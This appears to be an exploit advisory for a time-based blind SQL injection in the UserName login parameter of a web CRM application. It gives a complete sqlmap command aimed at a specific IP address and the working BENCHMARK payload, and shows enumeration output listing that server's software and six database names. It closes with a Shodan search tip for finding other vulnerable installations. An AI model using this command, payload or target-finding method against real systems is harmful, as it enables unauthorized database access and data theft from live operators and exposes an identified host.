CRMAPP SQL Injection

`Crm Application - Time-Based Blind Injection  
===================================================================  
  
####################################################################  
.:. Author : AtT4CKxT3rR0r1ST  
.:. Contact : [[email protected]] , [[email protected]]  
.:. Home : http://www.iphobos.com/blog/  
.:. Script : http://www.crmapp.com/  
####################################################################  
Time-Based Blind Injection [POST]  
  
sqlmap.py -u "http://78.188.188.46/crmApplication/index.php"  
--data="wh=630&ww=1230&UserName=12&Password=12&windowtype=0&submit_login=Giri%C5%9F"  
-p "UserName" --level=3 --risk=3 --technique=T --threads=5 --dbs  
  
  
sqlmap identified the following injection points with a total of 78 HTTP(s)  
requests:  
---  
Place: POST  
Parameter: UserName  
Type: AND/OR time-based blind  
Title: MySQL < 5.0.12 AND time-based blind (heavy query)  
Payload: wh=630&ww=1230&UserName=12' AND  
3281=BENCHMARK(5000000,MD5(0x62767276)) AND  
'hwNj'='hwNj&Password=12&windowtype=0&submit_login=Giri%C5%9F  
---  
web server operating system: Linux CentOS 5.8  
web application technology: Apache 2.2.3, PHP 5.2.17  
back-end DBMS: MySQL >= 5.0.0  
sqlmap identified the following injection points with a total of 0 HTTP(s)  
requests:  
---  
Place: POST  
Parameter: UserName  
Type: AND/OR time-based blind  
Title: MySQL < 5.0.12 AND time-based blind (heavy query)  
Payload: wh=630&ww=1230&UserName=12' AND  
3281=BENCHMARK(5000000,MD5(0x62767276)) AND  
'hwNj'='hwNj&Password=12&windowtype=0&submit_login=Giri%C5%9F  
---  
web server operating system: Linux CentOS 5.8  
web application technology: Apache 2.2.3, PHP 5.2.17  
back-end DBMS: MySQL 5  
available databases [6]:  
[*] asterisk  
[*] asteriskcdrdb  
[*] information_schema  
[*] mya2billing  
[*] mysql  
[*] roundcubedb  
  
[Note]: To Find This Ip Go To shodanhq.com And Type Location:  
/crmApplication/index.php In Search Box  
`